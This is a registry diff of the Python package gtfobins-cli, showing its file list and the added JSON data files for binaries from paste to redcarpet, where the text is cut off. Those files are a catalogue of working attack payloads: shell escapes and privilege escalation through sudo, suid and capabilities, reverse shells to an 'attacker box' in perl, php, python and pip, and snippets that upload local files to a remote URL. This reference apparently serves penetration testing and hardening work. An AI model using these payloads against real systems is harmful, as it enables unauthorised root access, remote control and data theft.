gtfobins-cli 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. gtfo/__init__.py +2 -0
  2. gtfo/cli.py +90 -0
  3. gtfo/data/apt-get.json +24 -0
  4. gtfo/data/apt.json +24 -0
  5. gtfo/data/ar.json +20 -0
  6. gtfo/data/aria2c.json +24 -0
  7. gtfo/data/arp.json +20 -0
  8. gtfo/data/ash.json +24 -0
  9. gtfo/data/at.json +20 -0
  10. gtfo/data/atobm.json +20 -0
  11. gtfo/data/awk.json +46 -0
  12. gtfo/data/base32.json +19 -0
  13. gtfo/data/base64.json +19 -0
  14. gtfo/data/basenc.json +19 -0
  15. gtfo/data/bash.json +69 -0
  16. gtfo/data/bpftrace.json +15 -0
  17. gtfo/data/bundler.json +29 -0
  18. gtfo/data/busctl.json +15 -0
  19. gtfo/data/busybox.json +37 -0
  20. gtfo/data/byebug.json +19 -0
  21. gtfo/data/cancel.json +10 -0
  22. gtfo/data/capsh.json +19 -0
  23. gtfo/data/cat.json +19 -0
  24. gtfo/data/certbot.json +14 -0
  25. gtfo/data/check_by_ssh.json +17 -0
  26. gtfo/data/check_cups.json +15 -0
  27. gtfo/data/check_log.json +20 -0
  28. gtfo/data/check_memory.json +15 -0
  29. gtfo/data/check_raid.json +15 -0
  30. gtfo/data/check_ssl_cert.json +17 -0
  31. gtfo/data/check_statusfile.json +15 -0
  32. gtfo/data/chmod.json +15 -0
  33. gtfo/data/chown.json +15 -0
  34. gtfo/data/chroot.json +14 -0
  35. gtfo/data/cobc.json +14 -0
  36. gtfo/data/column.json +20 -0
  37. gtfo/data/comm.json +19 -0
  38. gtfo/data/composer.json +19 -0
  39. gtfo/data/cowsay.json +15 -0
  40. gtfo/data/cowthink.json +14 -0
  41. gtfo/data/cp.json +32 -0
  42. gtfo/data/cpan.json +33 -0
  43. gtfo/data/cpio.json +48 -0
  44. gtfo/data/cpulimit.json +19 -0
  45. gtfo/data/crash.json +21 -0
  46. gtfo/data/crontab.json +16 -0
  47. gtfo/data/csh.json +24 -0
  48. gtfo/data/csplit.json +19 -0
  49. gtfo/data/csvtool.json +31 -0
  50. gtfo/data/cupsfilter.json +19 -0
  51. gtfo/data/curl.json +34 -0
  52. gtfo/data/cut.json +19 -0
  53. gtfo/data/dash.json +24 -0
  54. gtfo/data/date.json +20 -0
  55. gtfo/data/dd.json +24 -0
  56. gtfo/data/dialog.json +20 -0
  57. gtfo/data/diff.json +19 -0
  58. gtfo/data/dig.json +20 -0
  59. gtfo/data/dmesg.json +22 -0
  60. gtfo/data/dmsetup.json +14 -0
  61. gtfo/data/dnf.json +10 -0
  62. gtfo/data/docker.json +35 -0
  63. gtfo/data/dpkg.json +20 -0
  64. gtfo/data/dvips.json +20 -0
  65. gtfo/data/easy_install.json +53 -0
  66. gtfo/data/eb.json +15 -0
  67. gtfo/data/ed.json +34 -0
  68. gtfo/data/emacs.json +29 -0
  69. gtfo/data/env.json +19 -0
  70. gtfo/data/eqn.json +20 -0
  71. gtfo/data/ex.json +24 -0
  72. gtfo/data/exiftool.json +20 -0
  73. gtfo/data/expand.json +20 -0
  74. gtfo/data/expect.json +19 -0
  75. gtfo/data/facter.json +14 -0
  76. gtfo/data/file.json +26 -0
  77. gtfo/data/find.json +19 -0
  78. gtfo/data/finger.json +17 -0
  79. gtfo/data/flock.json +19 -0
  80. gtfo/data/fmt.json +27 -0
  81. gtfo/data/fold.json +19 -0
  82. gtfo/data/ftp.json +26 -0
  83. gtfo/data/gawk.json +46 -0
  84. gtfo/data/gcc.json +24 -0
  85. gtfo/data/gdb.json +66 -0
  86. gtfo/data/gem.json +28 -0
  87. gtfo/data/genisoimage.json +15 -0
  88. gtfo/data/ghc.json +14 -0
  89. gtfo/data/ghci.json +14 -0
  90. gtfo/data/gimp.json +57 -0
  91. gtfo/data/git.json +55 -0
  92. gtfo/data/grep.json +20 -0
  93. gtfo/data/gtester.json +19 -0
  94. gtfo/data/gzip.json +23 -0
  95. gtfo/data/hd.json +20 -0
  96. gtfo/data/head.json +19 -0
  97. gtfo/data/hexdump.json +20 -0
  98. gtfo/data/highlight.json +19 -0
  99. gtfo/data/hping3.json +19 -0
  100. gtfo/data/iconv.json +25 -0
  101. gtfo/data/iftop.json +20 -0
  102. gtfo/data/install.json +15 -0
  103. gtfo/data/ionice.json +19 -0
  104. gtfo/data/ip.json +28 -0
  105. gtfo/data/irb.json +47 -0
  106. gtfo/data/jjs.json +43 -0
  107. gtfo/data/join.json +19 -0
  108. gtfo/data/journalctl.json +15 -0
  109. gtfo/data/jq.json +19 -0
  110. gtfo/data/jrunscript.json +43 -0
  111. gtfo/data/ksh.json +60 -0
  112. gtfo/data/ksshell.json +20 -0
  113. gtfo/data/latex.json +29 -0
  114. gtfo/data/latexmk.json +27 -0
  115. gtfo/data/ld.so.json +20 -0
  116. gtfo/data/ldconfig.json +17 -0
  117. gtfo/data/less.json +40 -0
  118. gtfo/data/logsave.json +19 -0
  119. gtfo/data/look.json +19 -0
  120. gtfo/data/ltrace.json +26 -0
  121. gtfo/data/lua.json +58 -0
  122. gtfo/data/lualatex.json +20 -0
  123. gtfo/data/luatex.json +20 -0
  124. gtfo/data/lwp-download.json +26 -0
  125. gtfo/data/lwp-request.json +14 -0
  126. gtfo/data/mail.json +20 -0
  127. gtfo/data/make.json +26 -0
  128. gtfo/data/man.json +24 -0
  129. gtfo/data/mawk.json +34 -0
  130. gtfo/data/more.json +24 -0
  131. gtfo/data/mount.json +10 -0
  132. gtfo/data/mtr.json +15 -0
  133. gtfo/data/mv.json +15 -0
  134. gtfo/data/mysql.json +26 -0
  135. gtfo/data/nano.json +34 -0
  136. gtfo/data/nawk.json +46 -0
  137. gtfo/data/nc.json +40 -0
  138. gtfo/data/nice.json +19 -0
  139. gtfo/data/nl.json +20 -0
  140. gtfo/data/nmap.json +82 -0
  141. gtfo/data/node.json +58 -0
  142. gtfo/data/nohup.json +24 -0
  143. gtfo/data/npm.json +14 -0
  144. gtfo/data/nroff.json +20 -0
  145. gtfo/data/nsenter.json +14 -0
  146. gtfo/data/octave-cli.json +30 -0
  147. gtfo/data/od.json +20 -0
  148. gtfo/data/openssl.json +55 -0
  149. gtfo/data/openvpn.json +28 -0
  150. gtfo/data/openvt.json +10 -0
  151. gtfo/data/paste.json +19 -0
  152. gtfo/data/pdb.json +15 -0
  153. gtfo/data/pdflatex.json +29 -0
  154. gtfo/data/pdftex.json +19 -0
  155. gtfo/data/perl.json +35 -0
  156. gtfo/data/pg.json +24 -0
  157. gtfo/data/php.json +70 -0
  158. gtfo/data/pic.json +19 -0
  159. gtfo/data/pico.json +34 -0
  160. gtfo/data/pip.json +53 -0
  161. gtfo/data/pkexec.json +9 -0
  162. gtfo/data/pkg.json +10 -0
  163. gtfo/data/pr.json +20 -0
  164. gtfo/data/pry.json +19 -0
  165. gtfo/data/psql.json +15 -0
  166. gtfo/data/puppet.json +26 -0
  167. gtfo/data/python.json +62 -0
  168. gtfo/data/rake.json +19 -0
  169. gtfo/data/readelf.json +20 -0
  170. gtfo/data/red.json +20 -0
  171. gtfo/data/redcarpet.json +15 -0
  172. gtfo/data/restic.json +20 -0
  173. gtfo/data/rev.json +19 -0
  174. gtfo/data/rlogin.json +11 -0
  175. gtfo/data/rlwrap.json +25 -0
  176. gtfo/data/rpm.json +26 -0
  177. gtfo/data/rpmquery.json +19 -0
  178. gtfo/data/rsync.json +19 -0
  179. gtfo/data/ruby.json +52 -0
  180. gtfo/data/run-mailcap.json +28 -0
  181. gtfo/data/run-parts.json +19 -0
  182. gtfo/data/rview.json +100 -0
  183. gtfo/data/rvim.json +100 -0
  184. gtfo/data/sash.json +19 -0
  185. gtfo/data/scp.json +31 -0
  186. gtfo/data/screen.json +24 -0
  187. gtfo/data/script.json +20 -0
  188. gtfo/data/sed.json +41 -0
  189. gtfo/data/service.json +14 -0
  190. gtfo/data/setarch.json +19 -0
  191. gtfo/data/sftp.json +26 -0
  192. gtfo/data/sg.json +15 -0
  193. gtfo/data/shuf.json +28 -0
  194. gtfo/data/smbclient.json +27 -0
  195. gtfo/data/snap.json +10 -0
  196. gtfo/data/socat.json +46 -0
  197. gtfo/data/soelim.json +20 -0
  198. gtfo/data/sort.json +19 -0
  199. gtfo/data/split.json +31 -0
  200. gtfo/data/sqlite3.json +34 -0
  201. gtfo/data/ss.json +20 -0
  202. gtfo/data/ssh-keygen.json +22 -0
  203. gtfo/data/ssh.json +38 -0
  204. gtfo/data/ssh_keyscan.json +20 -0
  205. gtfo/data/start-stop-daemon.json +19 -0
  206. gtfo/data/stdbuf.json +19 -0
  207. gtfo/data/strace.json +25 -0
  208. gtfo/data/strings.json +20 -0
  209. gtfo/data/su.json +9 -0
  210. gtfo/data/sysctl.json +20 -0
  211. gtfo/data/systemctl.json +21 -0
  212. gtfo/data/tac.json +20 -0
  213. gtfo/data/tail.json +19 -0
  214. gtfo/data/tar.json +51 -0
  215. gtfo/data/taskset.json +19 -0
  216. gtfo/data/tbl.json +20 -0
  217. gtfo/data/tclsh.json +25 -0
  218. gtfo/data/tcpdump.json +15 -0
  219. gtfo/data/tee.json +20 -0
  220. gtfo/data/telnet.json +28 -0
  221. gtfo/data/tex.json +19 -0
  222. gtfo/data/tftp.json +28 -0
  223. gtfo/data/time.json +20 -0
  224. gtfo/data/timeout.json +19 -0
  225. gtfo/data/tmux.json +14 -0
  226. gtfo/data/top.json +16 -0
  227. gtfo/data/troff.json +20 -0
  228. gtfo/data/ul.json +20 -0
  229. gtfo/data/unexpand.json +19 -0
  230. gtfo/data/uniq.json +20 -0
  231. gtfo/data/unshare.json +19 -0
  232. gtfo/data/update-alternatives.json +16 -0
  233. gtfo/data/uuencode.json +19 -0
  234. gtfo/data/valgrind.json +14 -0
  235. gtfo/data/vi.json +28 -0
  236. gtfo/data/view.json +109 -0
  237. gtfo/data/vim.json +109 -0
  238. gtfo/data/vimdiff.json +109 -0
  239. gtfo/data/virsh.json +21 -0
  240. gtfo/data/watch.json +25 -0
  241. gtfo/data/wc.json +20 -0
  242. gtfo/data/wget.json +40 -0
  243. gtfo/data/whois.json +25 -0
  244. gtfo/data/wish.json +20 -0
  245. gtfo/data/xargs.json +35 -0
  246. gtfo/data/xelatex.json +29 -0
  247. gtfo/data/xetex.json +19 -0
  248. gtfo/data/xmodmap.json +20 -0
  249. gtfo/data/xmore.json +20 -0
  250. gtfo/data/xxd.json +24 -0
  251. gtfo/data/xz.json +19 -0
  252. gtfo/data/yelp.json +10 -0
  253. gtfo/data/yum.json +20 -0
  254. gtfo/data/zip.json +24 -0
  255. gtfo/data/zsh.json +29 -0
  256. gtfo/data/zsoelim.json +20 -0
  257. gtfo/data/zypper.json +22 -0
  258. gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
  259. gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
  260. gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
  261. gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
  262. gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
  263. gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/paste.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "paste [file]\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "paste [file]\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo paste [file]\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/pdb.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "This allows to execute Python code, other functions may apply.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n"
12
+ }
13
+ ]
14
+ }
15
+ }
@@ -0,0 +1,29 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
6
+ }
7
+ ],
8
+ "file-read": [
9
+ {
10
+ "description": "The read file will be part of the output.",
11
+ "code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "description": "The read file will be part of the output.",
17
+ "code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n"
18
+ },
19
+ {
20
+ "code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
21
+ }
22
+ ],
23
+ "limited-suid": [
24
+ {
25
+ "code": "./pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
26
+ }
27
+ ]
28
+ }
29
+ }
gtfo/data/pdftex.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
11
+ }
12
+ ],
13
+ "limited-suid": [
14
+ {
15
+ "code": "./pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/perl.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "perl -e 'exec \"/bin/sh\";'"
6
+ }
7
+ ],
8
+ "file-read": [
9
+ {
10
+ "code": "perl -ne print [file]"
11
+ }
12
+ ],
13
+ "reverse-shell": [
14
+ {
15
+ "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
16
+ "code": "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in([port],inet_aton(\"[host]\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n"
17
+ }
18
+ ],
19
+ "suid": [
20
+ {
21
+ "code": "./perl -e 'exec \"/bin/sh\";'"
22
+ }
23
+ ],
24
+ "sudo": [
25
+ {
26
+ "code": "sudo perl -e 'exec \"/bin/sh\";'"
27
+ }
28
+ ],
29
+ "capabilities": [
30
+ {
31
+ "code": "./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\";'"
32
+ }
33
+ ]
34
+ }
35
+ }
gtfo/data/pg.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pg /etc/profile\n!/bin/sh\n"
6
+ }
7
+ ],
8
+ "file-read": [
9
+ {
10
+ "code": "pg [file]"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo pg /etc/profile\n!/bin/sh\n"
16
+ }
17
+ ],
18
+ "suid": [
19
+ {
20
+ "code": "./pg [file]"
21
+ }
22
+ ]
23
+ }
24
+ }
gtfo/data/php.json ADDED
@@ -0,0 +1,70 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "php -r 'system(\"/bin/sh\");'\n"
6
+ },
7
+ {
8
+ "code": "php -r 'passthru(\"/bin/sh\");'\n"
9
+ },
10
+ {
11
+ "code": "php -r 'print(shell_exec(\"/bin/sh\"));'\n"
12
+ },
13
+ {
14
+ "code": "php -r '$r=array(); exec(\"/bin/sh\", $r); print(join(\"\\\\n\",$r));'\n"
15
+ },
16
+ {
17
+ "code": "php -r '$h=@popen(\"/bin/sh\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n"
18
+ }
19
+ ],
20
+ "command": [
21
+ {
22
+ "code": "php -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(\"[command]\", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'\n"
23
+ }
24
+ ],
25
+ "reverse-shell": [
26
+ {
27
+ "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
28
+ "code": "php -r '$sock=fsockopen(\"[host]\",[port]);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n"
29
+ }
30
+ ],
31
+ "file-upload": [
32
+ {
33
+ "description": "Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.",
34
+ "code": "php -S [host]:[port]\n"
35
+ }
36
+ ],
37
+ "file-download": [
38
+ {
39
+ "description": "Fetch a remote file via HTTP GET request.",
40
+ "code": "php -r '$c=file_get_contents(\"[url]\");file_put_contents(\"[file]\", $c);'\n"
41
+ }
42
+ ],
43
+ "suid": [
44
+ {
45
+ "code": "./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n"
46
+ }
47
+ ],
48
+ "sudo": [
49
+ {
50
+ "code": "sudo php -r \"system('/bin/sh');\"\n"
51
+ }
52
+ ],
53
+ "capabilities": [
54
+ {
55
+ "code": "./php -r \"posix_setuid(0); system('/bin/sh');\"\n"
56
+ }
57
+ ],
58
+ "file-read": [
59
+ {
60
+ "code": "php -r 'readfile(\"[file]\");'\n"
61
+ }
62
+ ],
63
+ "file-write": [
64
+ {
65
+ "description": "write data to a file, filename should be absolute.",
66
+ "code": "php -r 'file_put_contents(\"[file]\", \"[data]\");'\n"
67
+ }
68
+ ]
69
+ }
70
+ }
gtfo/data/pic.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pic -U\n.PS\nsh X sh X\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo pic -U\n.PS\nsh X sh X\n"
11
+ }
12
+ ],
13
+ "limited-suid": [
14
+ {
15
+ "code": "./pic -U\n.PS\nsh X sh X\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/pico.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pico\n^R^X\nreset; sh 1>&0 2>&0\n"
6
+ },
7
+ {
8
+ "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
9
+ "code": "pico -s /bin/sh\n/bin/sh\n^T\n"
10
+ }
11
+ ],
12
+ "file-write": [
13
+ {
14
+ "code": "pico [file]\n[data]\n^O\n"
15
+ }
16
+ ],
17
+ "file-read": [
18
+ {
19
+ "code": "pico [file]"
20
+ }
21
+ ],
22
+ "limited-suid": [
23
+ {
24
+ "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
25
+ "code": "./pico -s /bin/sh\n/bin/sh\n^T\n"
26
+ }
27
+ ],
28
+ "sudo": [
29
+ {
30
+ "code": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n"
31
+ }
32
+ ]
33
+ }
34
+ }
gtfo/data/pip.json ADDED
@@ -0,0 +1,53 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\npip install $TF\n"
6
+ }
7
+ ],
8
+ "reverse-shell": [
9
+ {
10
+ "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
11
+ "code": "TF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\npip install $TF\n"
12
+ }
13
+ ],
14
+ "file-upload": [
15
+ {
16
+ "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
17
+ "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))' > $TF/setup.py\npip install $TF\n"
18
+ },
19
+ {
20
+ "description": "Serve files in the local folder running an HTTP server.",
21
+ "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\npip install $TF\n"
22
+ }
23
+ ],
24
+ "file-download": [
25
+ {
26
+ "description": "Fetch a remote file via HTTP GET request. It needs an absolute local file path.",
27
+ "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")' > $TF/setup.py\npip install $TF\n"
28
+ }
29
+ ],
30
+ "file-write": [
31
+ {
32
+ "description": "It needs an absolute local file path.",
33
+ "code": "TF=$(mktemp -d)\necho \"open('[file]','w+').write('DATA')\" > $TF/setup.py\npip install $TF\n"
34
+ }
35
+ ],
36
+ "file-read": [
37
+ {
38
+ "description": "The read file content is corrupted as wrapped within an exception error.",
39
+ "code": "TF=$(mktemp -d)\necho 'raise Exception(open(\"file_to_read\").read())' > $TF/setup.py\npip install $TF\n"
40
+ }
41
+ ],
42
+ "library-load": [
43
+ {
44
+ "code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\npip install $TF\n"
45
+ }
46
+ ],
47
+ "sudo": [
48
+ {
49
+ "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo pip install $TF\n"
50
+ }
51
+ ]
52
+ }
53
+ }
gtfo/data/pkexec.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "code": "sudo pkexec /bin/sh"
6
+ }
7
+ ]
8
+ }
9
+ }
gtfo/data/pkg.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "description": "It runs commands using a specially crafted FreeBSD package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```",
6
+ "code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n"
7
+ }
8
+ ]
9
+ }
10
+ }
gtfo/data/pr.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Some bytes are altered so it might not be suitable for binary files.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "pr -T [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "pr -T [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "pr -T [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/pry.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "pry\nsystem(\"/bin/sh\")\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo pry\nsystem(\"/bin/sh\")\n"
11
+ }
12
+ ],
13
+ "limited-suid": [
14
+ {
15
+ "code": "./pry\nsystem(\"/bin/sh\")\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/psql.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "psql\n\\?\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "psql\n\\?\n!/bin/sh\n"
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/puppet.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "description": "The file path must be absolute.",
11
+ "code": "puppet apply -e \"file { '[file]': content => 'DATA' }\"\n"
12
+ }
13
+ ],
14
+ "file-read": [
15
+ {
16
+ "description": "The read file content is corrupted by the `diff` output format. The actual '/usr/bin/diff' command is executed.",
17
+ "code": "puppet filebucket -l diff /dev/null [file]\n"
18
+ }
19
+ ],
20
+ "sudo": [
21
+ {
22
+ "code": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n"
23
+ }
24
+ ]
25
+ }
26
+ }
gtfo/data/python.json ADDED
@@ -0,0 +1,62 @@
1
+ {
2
+ "description": "The payloads are compatible with both Python version 2 and 3.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "python -c 'import os; os.system(\"/bin/sh\")'"
7
+ }
8
+ ],
9
+ "reverse-shell": [
10
+ {
11
+ "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
12
+ "code": "python -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n"
13
+ }
14
+ ],
15
+ "file-upload": [
16
+ {
17
+ "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
18
+ "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))'\n"
19
+ },
20
+ {
21
+ "description": "Serve files in the local folder running an HTTP server.",
22
+ "code": "python -c 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()'\n"
23
+ }
24
+ ],
25
+ "file-download": [
26
+ {
27
+ "description": "Fetch a remote file via HTTP GET request.",
28
+ "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")'\n"
29
+ }
30
+ ],
31
+ "file-write": [
32
+ {
33
+ "code": "python -c 'open(\"[file]\",\"w+\").write(\"DATA\")'"
34
+ }
35
+ ],
36
+ "file-read": [
37
+ {
38
+ "code": "python -c 'print(open(\"[file]\").read())'"
39
+ }
40
+ ],
41
+ "library-load": [
42
+ {
43
+ "code": "python -c 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'"
44
+ }
45
+ ],
46
+ "suid": [
47
+ {
48
+ "code": "./python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
49
+ }
50
+ ],
51
+ "sudo": [
52
+ {
53
+ "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'"
54
+ }
55
+ ],
56
+ "capabilities": [
57
+ {
58
+ "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'"
59
+ }
60
+ ]
61
+ }
62
+ }
gtfo/data/rake.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "rake -p '`/bin/sh 1>&0`'"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo rake -p '`/bin/sh 1>&0`'"
11
+ }
12
+ ],
13
+ "limited-suid": [
14
+ {
15
+ "code": "./rake -p '`/bin/sh 1>&0`'"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/readelf.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "readelf -a @[file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./readelf -a @[file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo readelf -a @[file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/red.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Read and write files limited to the current directory.",
3
+ "functions": {
4
+ "file-write": [
5
+ {
6
+ "code": "red [file]\na\nDATA\n.\nw\nq\n"
7
+ }
8
+ ],
9
+ "file-read": [
10
+ {
11
+ "code": "red [file]\n,p\nq\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo red [file]\na\nDATA\n.\nw\nq\n"
17
+ }
18
+ ]
19
+ }
20
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "The file is actually parsed as a Markdown file.",
3
+ "functions": {
4
